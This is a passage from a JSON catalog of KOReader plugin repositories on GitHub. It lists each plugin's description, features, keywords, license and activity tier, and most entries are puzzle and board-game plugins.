confirmation"],"keywords":["calibre-web","kobo","koreader","koreader-plugin","sync","client","self-hosted","servers","automated","nextgen","friends","kobosync","setup","notes","limitations","localization","development","releasing","server","book","every","library","reading","catalog"],"topics":["calibre-web","kobo","koreader","koreader-plugin"],"stars":0,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-07-27T20:33:32Z","license":"AGPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":5002,"detail":"detail/saya6k__kobosync.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"senorGPT/fliptap.koplugin","owner":"senorGPT","repo":"fliptap.koplugin","url":"https://github.com/senorGPT/fliptap.koplugin","description":"","purpose":"Version: 0.1.0 (see `CHANGELOG.md`) FlipTap starts a small HTTP server in KOReader so you can turn pages remotely (ESP8266 button, phone, PC, etc.).","categories":["ui"],"features":["Kindle: koreader/plugins/","Kobo: .adds/koreader/plugins/","Open KOReader","Open the Main menu","Go to Tools / More tools (location may vary slightly by KOReader version)","Tap FlipTap","Start / Stop","One-Tap Test (checks if the server is reachable locally from KOReader)","Show Controller Info (shows the controller URL + token)","Info (read-only info + endpoint hit counters)"],"keywords":["fliptap","accessing","interface","controller","homepage","recommended","phones","api","esp8266","scripts","helper","script","known","issues","troubleshooting","token","info","next","port","status","kindle","logs","main","open"],"topics":[],"stars":0,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-01-03T12:32:33Z","license":null,"default_branch":"main","has_meta":true,"readme_bytes":2329,"detail":"detail/senorGPT__fliptap.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"shreyas-acharya/kernews.koplugin","owner":"shreyas-acharya","repo":"kernews.koplugin","url":"https://github.com/shreyas-acharya/kernews.koplugin","description":"KOReader plugin for Hacker news.","purpose":"","categories":["web"],"features":[],"keywords":["hacker","news"],"topics":[],"stars":0,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-08-15T18:00:43Z","license":null,"default_branch":"main","has_meta":false,"readme_bytes":0,"detail":null,"activity":"active","tier":"C","tier_reasons":["no_meta","active","stub"]},{"id":"SirProdigle/maki.koplugin","owner":"SirProdigle","repo":"maki.koplugin","url":"https://github.com/SirProdigle/maki.koplugin","description":"KOReader OPDS plugin: long-press a folder to bulk-download with series-aware folder layout. Fork of koesac/OPDSfoldersync.koplugin.","purpose":"A KOReader OPDS catalog plugin with bulk download by folder and breadcrumb-based path layout — long-press any folder in the catalog, hit \"Download all here\", and the files land in ` / / /file.ext`.","categories":["ui","library","files"],"features":["Walks every navigation entry under \"Chainsaw Man\" (in this case, just the chapter list)","Follows rel=next pagination so the full set of chapters is enumerated","Plans a target path for each acquisition: / / file.ext","Skips files already on the device","Kindle: /mnt/us/koreader/plugins/maki.koplugin/","Kobo: /mnt/onboard/.adds/koreader/plugins/maki.koplugin/","Desktop: /plugins/maki.koplugin/","Enable under Plugin management → Maki","Add catalogs via the File Manager menu → Maki (OPDS+)","The OPDS browser core is the KOReader OPDS plugin (AGPL-3.0)"],"keywords":["opds","long-press","folder","bulk-download","series-aware","layout","fork","koesac","opdsfoldersync","maki","exists","different","upstream","download","all","here","works","credits","sync","series","chainsaw","file","under","adds"],"topics":[],"stars":0,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-05-14T10:21:29Z","license":"AGPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":3517,"detail":"detail/SirProdigle__maki.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"sntc06/qrsharescreenshot.koplugin","owner":"sntc06","repo":"qrsharescreenshot.koplugin","url":"https://github.com/sntc06/qrsharescreenshot.koplugin","description":"A KOReader plugin that can share screenshot via Wi-Fi QR code","purpose":"A self-contained KOReader plugin that transfers your most recent screenshot to a phone (or any second device) over the local Wi-Fi network by scanning a QR code. No cables, no cloud, no account.","categories":["ui","files","notes"],"features":["You trigger the share action (menu entry, a bound gesture, or the optional button on the post-screenshot dialog)","The plugin finds your newest screenshot, determines the device's LAN IP address, and starts a short-lived local HTTP server on a…","It shows a QR code encoding a URL like http://192.168.1.23:52259/","A second device on the same Wi-Fi network scans the QR code, opens the URL in a browser, and views/downloads the screenshot PNG","The server shuts down as soon as you close the QR dialog (and on suspend, standby, exit, or widget close)","LAN-only transfer — the screenshot never leaves your local network","Short-lived server — runs only while the QR dialog is open; torn down on close, suspend, standby, exit, and widget close","Random port — chosen from [1024, 65535] on each share, with up to 3 bind attempts"],"keywords":["share","via","wi-fi","code","works","requirements","optional","post-screenshot","button","security","notes","troubleshooting","module","layout","roadmap","acknowledgements","dialog","action","file","network","server","directory","gesture","menu"],"topics":[],"stars":0,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-06-22T10:06:35Z","license":"GPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":8959,"detail":"detail/sntc06__qrsharescreenshot.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"stiandel/ankiplus.koplugin","owner":"stiandel","repo":"ankiplus.koplugin","url":"https://github.com/stiandel/ankiplus.koplugin","description":"","purpose":"KOReader plugin enabling Anki note generation for words looked up in the internal dictionary. This is a fork of Ajatt-Tools/anki.koplugin (AGPLv3 — see `LICENSE`); all credit for the original plugin goes to that project and its contributors. This fork adds one feature on top: optional sentence translation via the…","categories":["dict","notes"],"features":["Make sure AnkiConnect is installed and reachable (see Installation above)","On the device: Search icon (🔍) → Settings → Anki Settings → \"anki-connect settings\"","Enter the AnkiConnect URL (e.g. http://192.168.1.xxx:8765) and, if you configured one, the","Tap \"Save\"","Anki Settings → Edit profiles → \"Create new profile\", give it a name","Tap into the new profile and set these 4 required fields (the plugin refuses to use a","Anki Deckname — an existing deck name in your Anki collection (case-sensitive; use","Anki Note Type — an existing note type name (e.g. Basic, or a custom one — see step 3","Word Field — the field on that note type that should receive the looked-up word/phrase","Glossary Field — the field that should receive the dictionary definition (e.g. Back)"],"keywords":["anki+","quick","start","step","connect","anki","create","profile","basic","note","type","want","translations","set","translation","target","language","google","translate","optional","deepl","instead","alongside","while"],"topics":[],"stars":0,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-08-16T05:02:25Z","license":"AGPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":19064,"detail":"detail/stiandel__ankiplus.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"SulaimanLmn/wordmaster.koplugin","owner":"SulaimanLmn","repo":"wordmaster.koplugin","url":"https://github.com/SulaimanLmn/wordmaster.koplugin","description":"Colorize your KOReader Vocabulary Builder highlights by mastery level (red/yellow/green)","purpose":"A KOReader plugin that colorizes your Vocabulary Builder highlights based on how well you know each word. When you review words in the Vocabulary Builder (tapping \"Got it\" or \"Forgot\"), this plugin reads your progress and updates the highlight color in your book so you can see at a glance which words need more…","categories":["dict","notes"],"features":["KOReader installed on your Kindle (or other device)","The built-in Vocabulary Builder plugin enabled (it's enabled by default)","At least one word added to your Vocabulary Builder (via dictionary lookup while reading)","Connect your Kindle to your computer via USB","Navigate to the koreader/plugins/ folder on your Kindle","Eject your Kindle safely","Open any book, then tap the Tools (wrench) icon → Word Mastery — you should see the menu entry","Long-press on a word you want to learn","Tap Dictionary to look it up","Close the dictionary — the word is automatically added to your Vocabulary Builder"],"keywords":["colorize","vocabulary","builder","highlights","mastery","level","red","yellow","green","word","colorizer","color","scheme","prerequisites","step","build","review","words","repeat","tips","troubleshooting","works","book","highlight"],"topics":[],"stars":0,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-06-02T03:30:19Z","license":null,"default_branch":"main","has_meta":true,"readme_bytes":4436,"detail":"detail/SulaimanLmn__wordmaster.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"Syakhisk/roller.koplugin","owner":"Syakhisk","repo":"roller.koplugin","url":"https://github.com/Syakhisk/roller.koplugin","description":"","purpose":"","categories":["misc"],"features":[],"keywords":[],"topics":[],"stars":0,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2025-04-24T11:08:28Z","license":null,"default_branch":"master","has_meta":false,"readme_bytes":0,"detail":null,"activity":"dormant","tier":"C","tier_reasons":["no_meta","dormant","stub"]},{"id":"t2ym5u/2048.koplugin","owner":"t2ym5u","repo":"2048.koplugin","url":"https://github.com/t2ym5u/2048.koplugin","description":"KOReader plugin: 2048","purpose":"A 2048 plugin for KOReader. Slide all tiles in one direction. When two tiles with the same number collide they merge and double in value. A new tile (2 or 4) appears after each move. Reach 2048 to win — but keep going for a higher score! The game ends when no more moves are possible.","categories":["misc"],"features":["Classic 4×4 grid with optional 5×5 and 6×6 variants","Swipe or button controls — swipe in any direction or use on-screen arrow buttons","Score and best score — current score and all-time high score","Undo — take back the last slide","Animations — minimal slide animation compatible with partial e-ink refresh","Continue after 2048 — keep playing past the winning tile","Auto-save — board state and score saved automatically"],"keywords":["koreader-plugins","2048","rules","concept","controls","e-ink","friendly","score","tiles","slide","grid","swipe","tile","game","keep","move","undo","after","animation","arrow","buttons","collide","direction","each"],"topics":["koreader-plugins"],"stars":0,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-08-05T13:04:20Z","license":"GPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":1637,"detail":"detail/t2ym5u__2048.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"t2ym5u/_skeleton.koplugin","owner":"t2ym5u","repo":"_skeleton.koplugin","url":"https://github.com/t2ym5u/_skeleton.koplugin","description":"KOReader plugin: My Game","purpose":"Starter template for new game plugins in this repository. Copy this directory to `mygame.koplugin/`, rename the identifiers inside, and you have a working plugin skeleton that already wires up `game-common`.","categories":["files","games"],"features":[],"keywords":["game","skeleton","purpose","files","quick","start","board","extends","mygame","game-common","name"],"topics":[],"stars":0,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-08-03T13:27:01Z","license":"GPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":956,"detail":"detail/t2ym5u___skeleton.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"t2ym5u/anagram.koplugin","owner":"t2ym5u","repo":"anagram.koplugin","url":"https://github.com/t2ym5u/anagram.koplugin","description":"Rearrange letters to find words","purpose":"A word anagram puzzle plugin for KOReader. Rearrange the scrambled letters to form a valid word. All letters must be used exactly once. Tap a letter to move it between the scramble and your answer. Submit when you have formed a valid word.","categories":["misc"],"features":["Large word dictionary — English and French word lists","Hint — reveals one letter in its correct position","Auto-save — current puzzle restored on next launch","Open the menu → Tools → Anagram"],"keywords":["koreader-plugins","rearrange","letters","find","words","anagram","rules","controls","letter","word","answer","puzzle","submit","scramble","scrambled","valid","large","dictionary","english","french","lists","hint","reveals","one"],"topics":["koreader-plugins"],"stars":0,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-08-05T13:04:24Z","license":"GPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":1087,"detail":"detail/t2ym5u__anagram.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"t2ym5u/arrowsudoku.koplugin","owner":"t2ym5u","repo":"arrowsudoku.koplugin","url":"https://github.com/t2ym5u/arrowsudoku.koplugin","description":"Sudoku with arrow sum constraints","purpose":"An Arrow Sudoku plugin for KOReader. Standard Sudoku rules (fill 1–9; no repeats in rows, columns, or 3×3 boxes) plus arrow constraints: the digits along each arrow must sum to the value in the arrow's circle. Digits may repeat on an arrow.","categories":["games"],"features":["Three difficulty levels — Easy, Medium, Hard","Arrow highlighting — tap a cell to highlight its arrow(s)","Note mode — pencil in candidate digits","Check — highlights incorrect cells and arrow sums","Reveal solution — shows the full solution","Undo — step back through your moves","Auto-save — game state saved and restored on next launch","Open the menu → Tools → Arrow Sudoku"],"keywords":["koreader-plugins","sudoku","arrow","sum","constraints","arrowsudoku","rules","controls","cell","check","digits","game","note","undo","difficulty","digit","erase","mode","solution","three","levels","easy","medium","hard"],"topics":["koreader-plugins"],"stars":0,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-08-05T13:04:27Z","license":"GPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":1440,"detail":"detail/t2ym5u__arrowsudoku.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"t2ym5u/arrowwords.koplugin","owner":"t2ym5u","repo":"arrowwords.koplugin","url":"https://github.com/t2ym5u/arrowwords.koplugin","description":"Arrow crossword puzzle","purpose":"An Arrowwords crossword plugin for KOReader. *(Screenshot to be added.)* Fill the grid with words. Clues appear directly inside the grid cells with an arrow pointing to where the answer goes. Letters at crossing cells must satisfy all words through them. Solve every clue to complete the puzzle.","categories":["games"],"features":["Bundled puzzles — six ready-to-play arrowwords grids, from a quick 7×7 warm-up to denser 9×9 grids with genuine crossings between…","Cell selection — tap any answer cell to see its clue and direction","Keyboard input — type letters directly, selection advances automatically","Erase — backspace clears the current cell, or steps back into the previous one","Check — highlights incorrect letters without revealing the answer","Reveal — fills in the full solution","Auto-save — progress saved and restored on next launch","Open the menu → Tools → Arrowwords"],"keywords":["arrow","crossword","puzzle","arrowwords","rules","controls","cell","answer","check","grid","letters","reveal","cells","clear","clue","directly","erase","grids","keyboard","letter","menu","progress","selection","solution"],"topics":[],"stars":0,"forks":0,"is_fork":false,"archived":true,"pushed_at":"2026-08-04T10:49:27Z","license":"GPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":1639,"detail":"detail/t2ym5u__arrowwords.koplugin.json","activity":"archived","tier":"C","tier_reasons":["has_meta","archived","archived","documented"]},{"id":"t2ym5u/backgammon.koplugin","owner":"t2ym5u","repo":"backgammon.koplugin","url":"https://github.com/t2ym5u/backgammon.koplugin","description":"KOReader plugin: backgammon","purpose":"A Backgammon plugin for KOReader. *(Screenshot to be added.)* Two players race their 15 checkers around the board and off, moving by the roll of two dice. Landing on a point with a single opposing checker sends it to the bar, from where it must re-enter before any other move is made. The first player to bear off all…","categories":["misc"],"features":["Full move validation — legal moves only, including forced bar re-entry and doubles","Automatic turn passing — when a roll has no legal move","Auto-save — in-progress game restored on next launch","Open the menu → Tools → Backgammon"],"keywords":["koreader-plugins","backgammon","rules","concept","controls","game","move","roll","dice","checker","checkers","legal","point","race","single","full","validation","moves","only","including","forced","bar","re-entry","doubles"],"topics":["koreader-plugins"],"stars":0,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-08-05T13:04:30Z","license":"GPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":1262,"detail":"detail/t2ym5u__backgammon.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"t2ym5u/balance.koplugin","owner":"t2ym5u","repo":"balance.koplugin","url":"https://github.com/t2ym5u/balance.koplugin","description":"Logical weighing puzzle","purpose":"*(Screenshot to be added.)* One ball in a set is heavier or lighter than the rest. Use a balance scale to identify it in as few weighings as possible. Assign balls to the left or right pan, weigh, and deduce which is the odd ball — and whether it is heavier or lighter.","categories":["games"],"features":["One ball among the set is either heavier or lighter than the rest","Place balls on the left and right pans of a balance scale, then weigh","The scale tells you which side is heavier, or if they are equal","Use the results of all weighings to identify the odd ball and whether it is heavier or lighter","You win by guessing correctly within the allowed number of weighings"],"keywords":["koreader-plugins","logical","weighing","puzzle","balance","rules","controls","settings","ball","heavier","weighings","lighter","scale","weigh","balls","difficulty","left","pans","right","assign","button","clear","deduce","guess"],"topics":["koreader-plugins"],"stars":0,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-08-05T13:04:33Z","license":"GPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":1350,"detail":"detail/t2ym5u__balance.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"t2ym5u/battleship.koplugin","owner":"t2ym5u","repo":"battleship.koplugin","url":"https://github.com/t2ym5u/battleship.koplugin","description":"KOReader plugin: Battleship Puzzle","purpose":"A Battleship Puzzle (Solitaire Battleships) plugin for KOReader. *(Screenshot to be added.)* Find the hidden fleet in the grid. Row and column clues show the total number of ship segments in each line. Ships are placed horizontally or vertically and cannot touch each other (even diagonally).","categories":["games"],"features":["Multiple grid sizes — 8×8 (classic), 10×10 (extended)","Three difficulty levels — Easy (more revealed cells), Medium, Hard","Cell states — water, ship segment (with automatic edge/corner detection)","Row/column counter — remaining segments shown and updated in real time","Auto-water — automatically fills water around completed rows/columns","Check — highlights contradictions with the clue counts","Reveal solution — shows the full solution","Undo — step back through your moves","Auto-save — game state saved and restored on next launch"],"keywords":["koreader-plugins","battleship","puzzle","rules","concept","controls","e-ink","friendly","ship","water","cell","each","game","grid","check","column","fleet","mode","segments","show","undo","battleships","classic","clues"],"topics":["koreader-plugins"],"stars":0,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-08-05T13:04:37Z","license":"GPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":1960,"detail":"detail/t2ym5u__battleship.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"t2ym5u/betweenlines.koplugin","owner":"t2ym5u","repo":"betweenlines.koplugin","url":"https://github.com/t2ym5u/betweenlines.koplugin","description":"Sudoku with between-lines constraints","purpose":"A Between Lines Sudoku plugin for KOReader. Standard 9×9 Sudoku rules (fill 1–9; no repeats in rows, columns, or 3×3 boxes) plus between-lines constraints: every digit on a line connecting two circle endpoints must be strictly between (numerically) the values of those two circles.","categories":["games"],"features":["Three difficulty levels — Easy, Medium, Hard","Line highlighting — active lines are highlighted","Note mode — pencil in candidate digits","Check — highlights incorrect cells","Reveal solution — shows the full solution","Undo — step back through your moves","Auto-save — game state saved and restored on next launch","Open the menu → Tools → Between Lines Sudoku"],"keywords":["koreader-plugins","sudoku","between-lines","constraints","betweenlines","rules","controls","between","check","digit","game","lines","note","undo","cell","erase","line","mode","solution","three","difficulty","levels","easy","medium"],"topics":["koreader-plugins"],"stars":0,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-08-05T13:04:40Z","license":"GPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":1439,"detail":"detail/t2ym5u__betweenlines.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"t2ym5u/binairo.koplugin","owner":"t2ym5u","repo":"binairo.koplugin","url":"https://github.com/t2ym5u/binairo.koplugin","description":"Binairo (Takuzu) puzzle plugin for KOReader","purpose":"A Binairo (Takuzu) puzzle plugin for KOReader. Fill the grid with 0s and 1s so that every row and column has an equal number of each, no three consecutive cells share the same value, and no two rows (or two columns) are identical.","categories":["games"],"features":["Multiple grid sizes","Three difficulty levels — Easy, Medium, Hard","Timer — elapsed time shown, best time recorded on solve","Error check — highlights rule violations without revealing the solution","Reveal solution","Auto-save — puzzle state saved and restored on next launch","Open the menu → Tools → Binairo"],"keywords":["koreader-plugins","binairo","takuzu","puzzle","rules","controls","grid","check","difficulty","reveal","solution","undo","blank","game","three","time","multiple","sizes","levels","easy","medium","hard","timer","elapsed"],"topics":["koreader-plugins"],"stars":0,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-08-05T13:04:43Z","license":"GPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":1322,"detail":"detail/t2ym5u__binairo.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"t2ym5u/boggle.koplugin","owner":"t2ym5u","repo":"boggle.koplugin","url":"https://github.com/t2ym5u/boggle.koplugin","description":"KOReader plugin: Boggle","purpose":"A Boggle-style word search plugin for KOReader. Find words by connecting adjacent letters (horizontally, vertically, or diagonally) in the letter grid. Each letter may be used only once per word. Words must be at least 3 letters long. Longer words score more points — race against the clock!","categories":["misc"],"features":["Grid sizes — 4×4 (classic), 5×5 (extended)","Multiple languages — dictionaries for EN, FR, DE, ES","Word validation — against a bundled dictionary for the chosen language","Scoring — standard Boggle scoring (3 letters = 1 pt, up to 8+ letters = 11 pts)","Timer — configurable countdown (1, 2 or 3 minutes) or untimed mode","Word list — found words listed alphabetically with scores","End reveal — shows all valid words missed after the timer expires","High scores — best scores stored per language and grid size"],"keywords":["koreader-plugins","boggle","rules","concept","controls","e-ink","friendly","word","letter","letters","words","grid","adjacent","each","language","only","scores","against","cancel","connecting","find","game","list","longer"],"topics":["koreader-plugins"],"stars":0,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-08-05T13:04:45Z","license":"GPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":1735,"detail":"detail/t2ym5u__boggle.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"t2ym5u/bridges.koplugin","owner":"t2ym5u","repo":"bridges.koplugin","url":"https://github.com/t2ym5u/bridges.koplugin","description":"Connect islands with the right number of bridges","purpose":"A Bridges (Hashi) puzzle plugin for KOReader. Connect all islands with bridges. Each island's number indicates how many bridge segments must attach to it. Up to two bridges may connect any pair of islands. Bridges run horizontally or vertically and cannot cross. All islands must be joined into one network.","categories":["misc"],"features":["Multiple grid sizes — 7×7 up to 13×13","Three difficulty levels — Easy, Medium, Hard","Double bridges — tap twice for a double bridge","Connectivity check — highlights isolated island groups","Auto-save — puzzle state saved and restored on next launch","Open the menu → Tools → Bridges"],"keywords":["koreader-plugins","connect","islands","right","number","bridges","rules","controls","bridge","check","puzzle","double","island","must","multiple","grid","sizes","three","difficulty","levels","easy","medium","hard","tap"],"topics":["koreader-plugins"],"stars":0,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-08-05T13:04:52Z","license":"GPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":1261,"detail":"detail/t2ym5u__bridges.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"t2ym5u/cave.koplugin","owner":"t2ym5u","repo":"cave.koplugin","url":"https://github.com/t2ym5u/cave.koplugin","description":"Find the cave hidden inside the grid","purpose":"A Cave puzzle plugin for KOReader. Shade cells black to carve a connected white \"cave\". Numbered white cells show exactly how many white cells are visible from that position in all four orthogonal directions (including itself). All white cells must be connected; no black cell may be completely enclosed by white cells.","categories":["misc"],"features":["Multiple grid sizes","Three difficulty levels — Easy, Medium, Hard","Visibility lines — see the line of sight from any numbered cell","Check — validates connectivity and visibility counts","Auto-save — puzzle state saved and restored on next launch","Open the menu → Tools → Cave"],"keywords":["koreader-plugins","find","cave","hidden","inside","grid","rules","controls","known","limitations","cells","white","puzzle","cell","check","black","connected","difficulty","exactly","medium","numbered","shade","show","sizes"],"topics":["koreader-plugins"],"stars":0,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-08-05T13:04:55Z","license":"GPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":1608,"detail":"detail/t2ym5u__cave.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"t2ym5u/chess.koplugin","owner":"t2ym5u","repo":"chess.koplugin","url":"https://github.com/t2ym5u/chess.koplugin","description":"KOReader plugin: echecs.koplugin","purpose":"A Chess plugin for KOReader. Standard chess rules. Move pieces to put the opponent's king in checkmate. Special moves include castling, en passant, and pawn promotion.","categories":["games"],"features":["Two-player local mode","Move highlight — shows legal moves for selected piece","Check indicator — alerts when a king is in check","Undo / Redo — take back the last move, or replay it forward again","Chess clock — optional per-side time controls with increment","PGN import/export — save a game to file or load one back in","Optional Stockfish/UCI engine — use an external engine instead of the built-in AI, when available","Auto-save — game state saved and restored on next launch","Open the menu → Tools → Chess"],"keywords":["koreader-plugins","echecs","chess","rules","controls","known","limitations","move","engine","game","distance","king","last","optional","piece","redo","stockfish","undo","available","back","binary","built-in","check","clock"],"topics":["koreader-plugins"],"stars":0,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-08-05T13:04:58Z","license":"GPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":2155,"detail":"detail/t2ym5u__chess.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"t2ym5u/chesscourse.koplugin","owner":"t2ym5u","repo":"chesscourse.koplugin","url":"https://github.com/t2ym5u/chesscourse.koplugin","description":"KOReader plugin: coursdechecs.koplugin","purpose":"A Chess Lessons plugin for KOReader. *(Screenshot to be added.)* Work through guided chess exercises. Each lesson presents a board position and an objective — make the correct moves to advance. Wrong moves are rejected. Progress through lessons to master chess fundamentals.","categories":["misc"],"features":["Structured lessons — piece movements, tactics, checkmates","Step-by-step guidance — instructions for each exercise","Progress tracking — completed lessons are remembered","Auto-save — current lesson position saved on exit","Open the menu → Tools → Chess Lessons"],"keywords":["koreader-plugins","coursdechecs","chesscourse","rules","controls","lessons","chess","each","lesson","make","moves","piece","position","progress","through","structured","movements","tactics","checkmates","step-by-step","guidance","instructions","exercise","tracking"],"topics":["koreader-plugins"],"stars":0,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-08-05T13:05:01Z","license":"GPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":1084,"detail":"detail/t2ym5u__chesscourse.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"t2ym5u/colornonogram.koplugin","owner":"t2ym5u","repo":"colornonogram.koplugin","url":"https://github.com/t2ym5u/colornonogram.koplugin","description":"Colored picross / nonogram","purpose":"A Colour Nonogram (Colour Picross) puzzle plugin for KOReader. *(Screenshot to be added.)* Like a Nonogram but cells are filled with colours. Each clue gives a colour and a run length. Different colours may be directly adjacent; same-colour runs must have at least one empty cell between them. Solve by deducing which…","categories":["misc"],"features":["Multiple grid sizes","Colour palette — rendered as distinct patterns on greyscale e-ink","Cross mark — mark cells known to be empty","Check — highlights incorrect cells","Auto-save — puzzle state saved and restored on next launch","Open the menu → Tools → Colour Nonogram"],"keywords":["koreader-plugins","colored","picross","nonogram","colornonogram","rules","controls","colour","cell","cells","check","empty","mark","puzzle","colours","each","multiple","grid","sizes","palette","rendered","distinct","patterns","greyscale"],"topics":["koreader-plugins"],"stars":0,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-08-05T13:05:04Z","license":"GPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":1249,"detail":"detail/t2ym5u__colornonogram.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"t2ym5u/connect4.koplugin","owner":"t2ym5u","repo":"connect4.koplugin","url":"https://github.com/t2ym5u/connect4.koplugin","description":"Connect Four with AI opponent","purpose":"A Connect Four (Puissance 4) plugin for KOReader. *(Screenshot to be added.)* Two players alternate dropping pieces into a 7×6 grid. Pieces fall to the lowest empty row in the chosen column. The first player to connect four in a row — horizontal, vertical, or diagonal — wins. A full board with no winner is a draw.","categories":["ai"],"features":["Two-player local mode","Win detection — the four winning pieces are highlighted","Undo — remove the last dropped piece","New game — reset the board at any time","Auto-save — game state saved and restored on next launch","Open the menu → Tools → Connect Four"],"keywords":["koreader-plugins","connect","four","opponent","connect4","rules","controls","game","pieces","undo","board","column","last","piece","two-player","local","mode","win","detection","winning","highlighted","remove","dropped","reset"],"topics":["koreader-plugins"],"stars":0,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-08-05T13:05:07Z","license":"GPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":1146,"detail":"detail/t2ym5u__connect4.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"t2ym5u/cryptogram.koplugin","owner":"t2ym5u","repo":"cryptogram.koplugin","url":"https://github.com/t2ym5u/cryptogram.koplugin","description":"Substitution cipher word puzzle","purpose":"A Cryptogram puzzle plugin for KOReader. *(Screenshot to be added.)* Decode an encrypted message by cracking its letter substitution cipher. Each letter has been replaced by another letter, consistently throughout the text. Tap an encrypted letter to select it, then type your guess. Use word patterns and letter…","categories":["games"],"features":["Curated puzzle library — multiple encrypted quotes to solve","Letter frequency hint — shows how often each cipher letter appears","Auto-fill — when a letter is identified, all its occurrences update instantly","Check — highlights incorrect letter assignments","Auto-save — puzzle state saved and restored on next launch","Open the menu → Tools → Cryptogram"],"keywords":["koreader-plugins","substitution","cipher","word","puzzle","cryptogram","rules","controls","letter","check","encrypted","each","erase","frequency","message","select","curated","library","multiple","quotes","solve","hint","shows","often"],"topics":["koreader-plugins"],"stars":0,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-08-05T13:05:11Z","license":"GPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":1369,"detail":"detail/t2ym5u__cryptogram.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"t2ym5u/dice.koplugin","owner":"t2ym5u","repo":"dice.koplugin","url":"https://github.com/t2ym5u/dice.koplugin","description":"KOReader plugin: dice","purpose":"A Dice plugin for KOReader — roll one or more virtual dice, with a real dice look, right from the Tools menu. Open the plugin, pick a number of faces and a number of dice from the menu (top-left), then tap Roll. Six-sided dice are drawn with real pips, just like a physical die; any other face count shows the rolled…","categories":["misc"],"features":["Real d6 pips — classic dot pattern (1–6), not just digits","Configurable faces — presets d4/d6/d8/d10/d12/d20, or any custom value from 2 to 100","Configurable dice count — 1 to 12 dice at once, auto-arranged in a grid","Running total — shown below the roll whenever more than one die is used","Persistent — remembers the last roll and settings across sessions","FR + EN 